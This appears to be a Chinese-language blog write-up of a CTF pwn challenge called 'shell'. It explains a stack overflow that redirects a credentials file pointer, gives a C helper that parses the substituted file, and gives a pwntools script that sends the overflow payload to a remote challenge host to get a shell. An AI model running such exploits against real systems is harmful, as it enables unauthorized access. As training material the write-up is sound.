攻防世界 进阶 shell

保护

在这里插入图片描述

分析一下程序。
在这里插入图片描述
只能先login命令登陆。
login之后就输入用户名,密码。
用户名,密码输入的时候明显能看得到溢出。

在这里插入图片描述
要介绍个新函数。
C 库函数 char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。

程序从creds.txt文件中一行一行的读取,取第一个冒号后面的内容为用户名,取第二个冒号后面的内容为密码。

那么整个的流程就看得出来是读入用户名密码,然后跟文件中的进行比较,比较成功就登陆成功。

那么我们可以考虑将文件指针覆盖掉,就覆盖成它给的那个文件,那么我们先读出来那个文件里面有什么。

在这里插入图片描述

#include <stdio.h>  
#include <string.h>  
int main() {  
    FILE *f = fopen("/lib64/ld-linux-x86-64.so.2","r");  
    char *buf = NULL;  
    size_t n;  
    if (f == NULL) {  
        printf("error\n");  
    }  
    while (getline(&buf,&n,f) != -1) {  
        char* user = strtok(buf, ":");  
        char* pwd = strtok(0LL, ":");  
        printf("%s:%s\n",user,pwd);  
    }  
    fclose(f);  
    return 0;  
} 

要去vim里面去写,Dc里面过不去。strtok函数在string.h里面,注意加头文件。

在这里插入图片描述
然后里面随便找一组数据。就可以了。

#coding:utf8  
from pwn import *  
  
r = remote("111.200.241.244",57276)  
    
r.sendline('login')  
r.sendlineafter('Username: ','yongbaoii')  

payload = 'a'*0x44 + p64(0x400200)  
r.sendlineafter('Password: ',payload)  
  
r.sendlineafter('Authentication failed!','login')  
r.sendlineafter('Username: ','prelink checking')  
r.sendlineafter('Password: ',' %s')
  
r.sendlineafter('Authenticated!','sh')  
  
  
r.interactive() 
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值